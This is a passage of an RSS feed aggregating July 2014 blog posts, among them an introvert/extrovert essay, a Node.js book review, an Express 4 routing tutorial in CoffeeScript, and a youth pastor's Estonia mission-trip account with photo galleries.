warm and sunny. I guess I&amp;rsquo;m kind of fibbing - I get it. You want to get out and see other places during your vacation.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 22 Jul 2014 14:06:06 GMT</pubDate><guid isPermaLink="true">https://liza.io/summer-holidays-and-amsterdam/</guid></item><item><title>Seemed So Sensible</title><link>http://crateofpenguins.com/blog/seemed-so-sensible</link><description>&lt;p&gt;Regardless of your own personal opinions regarding Christianity and religion in general, I think we can all get behind Sid&amp;#8217;s overarching sentiment: it is important to remain true to yourself even when doing so means standing alone alongside an unpopular opinion. For in the end, with what will we find ourselves left? It is to these convictions we hold and must hold strongly that we will return; without them, we have nothing.&lt;/p&gt;

&lt;p&gt;Stick to your guns. Be yourself. At the end of the day, I promise: you will be glad that you did.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/seemed-so-sensible"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 22 Jul 2014 10:00:44 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/seemed-so-sensible</guid></item><item><title>Hidden Damages of the Introvert vs. Extrovert "debate"</title><link>https://josh.works/growth/home/2014/07/22/hidden-damages-of-the-intovert-vs-extrovert-debate/</link><description>&lt;p&gt;Are you an introvert or an extrovert?&lt;/p&gt;

&lt;p&gt;Chances are good an answer pops to your mind. Of course you’re right! You’ve taken &lt;a href="https://www.google.com/search?q=extrovert+introvert+test&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&amp;amp;channel=fflb"&gt;internet tests&lt;/a&gt;! You’ve read Buzzfeed articles describing &lt;a href="http://www.buzzfeed.com/erinlarosa/problems-only-introverts-will-understand"&gt;one aptitude&lt;/a&gt; or &lt;a href="http://www.buzzfeed.com/jessicamisener/frustrating-things-about-being-an-extrovert"&gt;the other&lt;/a&gt;, and you feel like they speak to you!&lt;/p&gt;

&lt;p&gt;Stop. Right now. You’re speaking lies to yourself.&lt;/p&gt;

&lt;p&gt;How about another question:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Are you fit, or are you intelligent?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ah. You respond:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You can obviously be both intelligent and fit, or one, or the other, or neither. They are not dependent upon each other at all.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can train one or the other. Yet don’t we usually guide people towards one or the other?&lt;/p&gt;

&lt;p&gt;Here’s another “dichotomy” that doesn’t hold up in the real world - “right brained/left brained”. Creative vs. concrete thinkers. But I digress…&lt;/p&gt;

&lt;p&gt;Josh Spodek blew my mind when he wrote that &lt;a href="http://joshuaspodek.com/introversion-opposite-extroversion"&gt;introversion is not the opposite of extroversion&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Believing that you are one or the other allows folks to slack of in areas of their life that are difficult. This is a shame, because usually that thing that’s the hardest for you is the best way for you to grow in a short period of time.&lt;/p&gt;

&lt;p&gt;If you never exercise, you can realize incredible gains in a short period of time. Your percentage of growth in a month could be ten times that of a professional athlete continuing to train.&lt;/p&gt;

&lt;p&gt;Along those same lines, if you are all jock, and never do “brainy stuff”, you can learn and grow a lot just by finishing a few books.&lt;/p&gt;

&lt;p&gt;This holds true for interpersonal skills. If you can’t talk to people IRL, two hours of (difficult but rewarding) effort could mark a turning point in your life.&lt;/p&gt;

&lt;p&gt;If you don’t like being alone by yourself, the best thing for you may be sitting alone by yourself.&lt;/p&gt;

&lt;p&gt;Please don’t sell yourself, or anyone else, short by believing lies about introversion and extroversion.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5de4b0278244cea1aa/1434910447335/2014-07-17-10-59-50.jpg"&gt;&lt;img alt="Feels introverted-y, right? Sure. Doesn't mean I can't be extroverted, too." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5de4b0278244cea1aa_1434910447335_2014-07-17-10-59-50.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Feels introverted-y, right? Sure. Doesn’t mean I can’t be extroverted, too&lt;/em&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 22 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/home/2014/07/22/hidden-damages-of-the-intovert-vs-extrovert-debate/</guid></item><item><title>Book: Node.js Blueprints</title><link>https://nutcroft.mataroa.blog/blog/book-review-nodejs-blueprints/</link><description>&lt;p&gt;I recently read &lt;a href="http://www.amazon.com/Node-js-Blueprints-Krasimir-Tsonev/dp/1783287330"&gt;Node.js Blueprints&lt;/a&gt; by Krasimir Tsonev (Packt Publishing).&lt;/p&gt;
&lt;p&gt;It is addressed to people who know JavaScript and want to use it from the server side too.&lt;/p&gt;
&lt;p&gt;The book starts with a chapter on some programming paradigms that are currently used on the Node.js land. Patterns such as inter-module communication or how the asynchronous nature of Node works.&lt;/p&gt;
&lt;p&gt;The following chapters are mainly concerned with the most important libraries on the Node.js ecosystem. The first library the author chose to present us is Express (probably expected). We go through a basic site while learning Express. The author, along with every JS library, walks us through a tutorial with a sample web application. He continues with chapters on Angular and sample blog, socket.io and chat app, backbone and to-do app, ember and social feed app.&lt;/p&gt;
&lt;p&gt;Apart from the above libraries, there is material on automation, testing, dynamics CSS, REST API, and Node.js desktop apps.&lt;/p&gt;
&lt;p&gt;Suitable for those who want a start on Node.js and its ecosystem, Node.js Blueprints is a pretty good book. The author's approach with example web apps on each library is very good. Every chapter is clear while after finishing it you have learned what you need to start and decide whether you want to dive further into.&lt;/p&gt;
&lt;p&gt;Furthermore, the code of the book is available from Packt Publishing. Care, though, since there are some (understandable) errors.&lt;/p&gt;
&lt;p&gt;Recommended!&lt;/p&gt;</description><author>nutcroft</author><pubDate>Tue, 22 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/book-review-nodejs-blueprints/</guid></item><item><title>Why should you learn PostgreSQL?</title><link>https://www.brightball.com/articles/why-should-you-learn-postgresql</link><description>Nearly a year ago I put together an hour long presentation on PostgreSQL to provide an overview of all of the benefits it provides you over other options in the database space. In hindsight, that wasn't nearly enough time because it has the capability to replace almost your entire application stack outside of the web server. In any case, here is an attempt to summarize all of the amazing functionality that you're cheating yourself out of by not choosing PostgreSQL.</description><author>Brightball Articles</author><pubDate>Mon, 21 Jul 2014 23:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/why-should-you-learn-postgresql</guid></item><item><title>Getting to Know Fiddler: Part I: Capture and debug traffic from a mobile device</title><link>https://joshuarogers.net/articles/2014-07/getting-know-fiddler-part-i/</link><description>If you've done any amount of web development on Windows, you've probably used a program called &amp;ldquo;Fiddler&amp;rdquo; a few times. Fiddler is a small proxy server that allows you to see all of the requests made by your system. Sadly, for most people, I'd guess that that is all that Fiddler is. It's a shame because Fiddler offers up so much more power than that.
So, let's fix this. For the next several weeks, we're going to explore some of the under noticed functionality that Fiddler provides us.</description><author>Joshua Rogers</author><pubDate>Mon, 21 Jul 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-07/getting-know-fiddler-part-i/</guid></item><item><title>Debugging Rx with Seq</title><link>https://daniellittle.dev/debugging-rx-with-seq</link><description>Debugging Reactive Extensions can sometimes be a bit tricky. When you have a few stream to watch, pinpointing failures is time consuming…</description><author>Daniel Little Dev</author><pubDate>Mon, 21 Jul 2014 11:34:02 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/debugging-rx-with-seq</guid></item><item><title>The Daily Show on Glassholes</title><link>http://daringfireball.net/linked/2014/06/18/daily-show-glass</link><description>&lt;p&gt;Absolutely hilarious video, courtesy of John Gruber&amp;#160;&amp;#8212;&amp;#160;with the choice line taken as an excerpt: &amp;#8220;Magellan Was an Explorer. Chuck Yeager Was an Explorer. You Guys Have a Fucking Camera on Your Face.&amp;#8221; I was rather bullish on the widespread reaction to Google Glass the other day when I wrote &lt;a href="https://zacs.site/blog/thoughts-on-glass.html"&gt;Thoughts on Glass&lt;/a&gt;, but I can still appreciate some great humor when I see it. Very well done.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://daringfireball.net/linked/2014/06/18/daily-show-glass"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 21 Jul 2014 10:14:29 GMT</pubDate><guid isPermaLink="true">http://daringfireball.net/linked/2014/06/18/daily-show-glass</guid></item><item><title>Defect Reporting</title><link>https://cmdev.com/blog/2014-07-21-defectreporting/</link><description>Guidelines for defect reporting</description><author>The Cranky Developer on Crater Moon Development</author><pubDate>Mon, 21 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://cmdev.com/blog/2014-07-21-defectreporting/</guid></item><item><title>Clean &amp;amp; efficient namespacing/routing in express 4</title><link>https://jeroenpelgrims.com/express-4-namespacingrouting/</link><description>&lt;p&gt;A full example for both express 3 and 4 &lt;a href="https://github.com/resurge/express-routing-examples"&gt;can be found on github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I have a bunch of routes which are under the same namespace.&lt;br /&gt;
E.g.:&lt;/p&gt;
&lt;pre style="background-color: #ffffff; color: #323232;"&gt;&lt;code&gt;&lt;span&gt;GET /api/person
&lt;/span&gt;&lt;span&gt;POST /api/person
&lt;/span&gt;&lt;span&gt;GET /api/person/:id
&lt;/span&gt;&lt;span&gt;PUT /api/person/:id
&lt;/span&gt;&lt;span&gt;DELETE /api/person/:id
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I could start implementing these as follows:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;app.get &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/api/person'&lt;/span&gt;&lt;span&gt;, (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return people
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;app.get &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/api/person/:id'&lt;/span&gt;&lt;span&gt;, (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#etc.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But I have a problem.&lt;br /&gt;
I'm lazy, so fuck that shit.&lt;/p&gt;
&lt;h2 id="express-3"&gt;Express 3&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/express-4-namespacingrouting/#express-3" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In express 3 you had the &lt;a href="https://github.com/visionmedia/express-namespace"&gt;express-namespace&lt;/a&gt; module which could alleviate your problems as follows:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;express &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'express'
&lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'express-namespace' &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#Be sure to include this *before* creating your app object
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;app &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;express()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;app.namespace &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/api'&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;    app.get &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/person'&lt;/span&gt;&lt;span&gt;, (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return people
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    app.get &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/person/:id'&lt;/span&gt;&lt;span&gt;, (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return person
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#etc.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="express-4"&gt;Express 4&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/express-4-namespacingrouting/#express-4" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In express 4 the Router class received &lt;a href="https://github.com/visionmedia/express/wiki/New-features-in-4.x"&gt;a rework&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can now do the following:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;Router &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;(require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'express'&lt;/span&gt;&lt;span&gt;).Router
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;personRouter &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;Router()
&lt;/span&gt;&lt;span&gt;personRouter.get &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/'&lt;/span&gt;&lt;span&gt;, (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return people
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;personRouter.get &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/:id'&lt;/span&gt;&lt;span&gt;, (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return person by id
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;apiRouter &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;Router()
&lt;/span&gt;&lt;span&gt;apiRouter.use &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/person'&lt;/span&gt;&lt;span&gt;, personRouter
&lt;/span&gt;&lt;span&gt;app.use &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/api'&lt;/span&gt;&lt;span&gt;, apiRouter
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks more cluttered than the v3 example you say?&lt;br /&gt;
Well keep in mind that with this way you can more easily put everything in separate files without passing your app object everywhere.&lt;/p&gt;
&lt;h2 id="express-4-shorthand"&gt;Express 4 - shorthand&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/express-4-namespacingrouting/#express-4-shorthand" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In the previous example we've always attached a verb directly to a route, but you can also define a route on it's own and then attach verbs to that.&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#app.coffee
&lt;/span&gt;&lt;span&gt;express &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'express'
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;app &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;express()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;apiRouter &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;express.Router()
&lt;/span&gt;&lt;span&gt;app.use &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/api'&lt;/span&gt;&lt;span&gt;, apiRouter
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;apiRouter.use (require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'./person'&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#person.coffee
&lt;/span&gt;&lt;span&gt;Router &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;(require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'express'&lt;/span&gt;&lt;span&gt;).Router
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;peopleRouter &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;Router()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;peopleRouter.route &lt;/span&gt;&lt;span style="color: #183691;"&gt;''
&lt;/span&gt;&lt;span&gt;    .get (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return people
&lt;/span&gt;&lt;span&gt;    .post (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#create person
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;peopleRouter.route &lt;/span&gt;&lt;span style="color: #183691;"&gt;'/:id'
&lt;/span&gt;&lt;span&gt;    .get (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#return person
&lt;/span&gt;&lt;span&gt;    .put (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#update person
&lt;/span&gt;&lt;span&gt;    .delete (req, res) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#delete person
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;module.exports &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;peopleRouter
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</description><author>Jeroen Pelgrims</author><pubDate>Mon, 21 Jul 2014 02:06:00 GMT</pubDate><guid isPermaLink="true">https://jeroenpelgrims.com/express-4-namespacingrouting/</guid></item><item><title>A Crazy Summer</title><link>https://dustin.lammiman.ca/photos/a-crazy-summer/</link><description>&lt;p&gt;I think its safe to that my summer is off to a crazy, but amazing, start. On June 27 I left for Estonia with 10 wonderful people (7 high school students and 3 leaders) to lead a three-week mission trip. We arrived early Sunday morning (just after midnight) and caught a few hours of sleep before heading to church and then camp. Camp ran Sunday-Friday and our team’s responsibilites included being cabin counselors and teaching a lesson on Thursday morning. This was an intereseting experience as the campers ranged in age from 8 up to over 18. Everything also had to be translated – twice – as most campers spoke either Russian or Estonian. We relied primarily on a mostly silent skit and an object lesson to make our point about being strong and courageous as we follow God’s law (&lt;a href="http://www.biblestudytools.com/joshua/passage.aspx?q=joshua%201:7-8"&gt;Joshua 1:7-8&lt;/a&gt;). Throughout the week it was incredible to watch the way our team connected with the locals and excelled at all of their responsibilites, despite the fact that many of them had either very little camp experience or none at all.&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;The day after camp we took a day trip out to Rakvere, home of an authentic 14th century castle. Being in a castle that old was amazing in its own right, but there were also people dressed up in authentic costume, swords to play with, walls to climb, and a torture chamber to tour, making our afternoon a very complete and enjoyable experience. The next day after church we had the opportunity to see part of the Tallinn Song Festival. This event only happens once every five years and is an important part of Estonia’s identity and culture. Prior to our trip we had watched &lt;a href="http://www.singingrevolution.com/"&gt;&lt;em&gt;The Singing Revolution&lt;/em&gt;&lt;/a&gt;, a documentary which outlines the important role this festival played in helping Estonia regain its independence from the Soviet Union. The event was absolutely packed with people and we couldn’t find anywhere to sit with a decent view, which meant that it wasn’t quite as enjoyable an experience as many of us had hoped, although I think we all agreed that we were glad we went because of its cultural significance.&lt;/p&gt;
&lt;img alt="" class="" height="321" src="https://dustin.lammiman.ca/img/IGEsx9T-ao-400.jpeg" width="800" /&gt;
&lt;p&gt;Our second week in Estonia was spent in the capital city, Tallinn. We were part of what they called “City Camp,” which is similar to what we would call VBS. In the afternoons we would play games, sing songs, make crafts, and learn a Bible lesson with kids and teens up to about age 14. Our main involvment was in the evenings, when the teens and young adults would come. Our team was responsible for leading games, and the program also included some great singing times and discussions around our lessons, which continued on the theme from camp – Be Strong and Courageous. Many of the youth had been at camp the week before so we had the opportunity to continue to build relationships with them and talk with them about faith issues. There was a very real sense of community, and many of the youth would join us for supper and other activites long after the program had officially ended. On Thursday night one of the students from our church was baptized in the Baltic Sea – a very exciting way to top off a great week. Three Jr. High students from our church had also been baptized back in Calgary earlier in the week and many of us were having deep conversations about God with some of the Estonian teens. It was one of those moments where it becomes easier than normal to see how God is working in our world.&lt;/p&gt;
&lt;img alt="" class="" height="892" src="https://dustin.lammiman.ca/img/VPp_3h3Aqx-400.jpeg" width="1920" /&gt;
&lt;p&gt;On July 12 we returned to Calgary amidst many difficult goodbyes. It was hard to part with the people we had met in Estonia, as well as the other members of our team who had been our constant companions for the past two weeks. A long and tiring flight back to Calgary did not mean rest, however, as we arrived back in Calgary at 8pm on Saturday and by 1pm on Sunday I was back on the road headed to Pine Lake for a week at Jr. High Camp. Eight students from my church joined about 50 other campers for a fantastic week. It was hot, and the lake was closed due to blue-green algae, but water fights and slip n slides allowed us to cope as we built relationships and talked about what it means to be a follower, not just a fan, of Jesus. I always love camp, but this week was especially significant for me as it was my first time being at camp as a youth pastor. It was good to know that the conversations and experiences I shared with my youth kids wouldn’t have to be put on hold until next summer.&lt;/p&gt;
&lt;p&gt;This blog post is drawing to an end, but my busy schedule is not. Next week our church is hosting a VBS where we are expecting over 100 kids. It will be another tiring week I’m sure, but also another opportunity for God to shine his light.&lt;/p&gt;
&lt;h2 id="rakvere" tabindex="-1"&gt;Rakvere &lt;a class="direct-link" href="https://dustin.lammiman.ca/photos/a-crazy-summer/#rakvere"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="photo-gallery"&gt;&lt;a href="https://dustin.lammiman.ca/img/4yalobJwWE-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/4yalobJwWE-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/zxbTEMykkx-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/zxbTEMykkx-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/JaJfhrW8Im-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/JaJfhrW8Im-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/YBLUEUjZFU-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/YBLUEUjZFU-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/hcabK4oJFO-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/hcabK4oJFO-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/1HpYcq11mk-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/1HpYcq11mk-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/zVP7KwdZcU-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/zVP7KwdZcU-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/oa-lqRV43p-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/oa-lqRV43p-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/fiXi0K5YXy-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/fiXi0K5YXy-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/HpQEASqe2X-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/HpQEASqe2X-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/j9VkLxP2D--300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/j9VkLxP2D--300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/h4o20UJ1dW-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/h4o20UJ1dW-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/3dZVkNCyeE-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/3dZVkNCyeE-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/cV-8Hv1BKy-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/cV-8Hv1BKy-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/M1FLRH-145-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/M1FLRH-145-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/Nny3rPxgq9-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/Nny3rPxgq9-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/ePgAbC4W02-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/ePgAbC4W02-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/K9THTlYacr-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/K9THTlYacr-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2 id="tallinn-song-festival" tabindex="-1"&gt;Tallinn Song Festival &lt;a class="direct-link" href="https://dustin.lammiman.ca/photos/a-crazy-summer/#tallinn-song-festival"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="photo-gallery"&gt;&lt;a href="https://dustin.lammiman.ca/img/X5V3fZA6wZ-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/X5V3fZA6wZ-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/fLlCzc0daK-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/fLlCzc0daK-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/O5pZzk_DKI-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/O5pZzk_DKI-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/knuQ8fJI5B-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/knuQ8fJI5B-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/4ha3wdFG5V-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/4ha3wdFG5V-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;/div&gt;
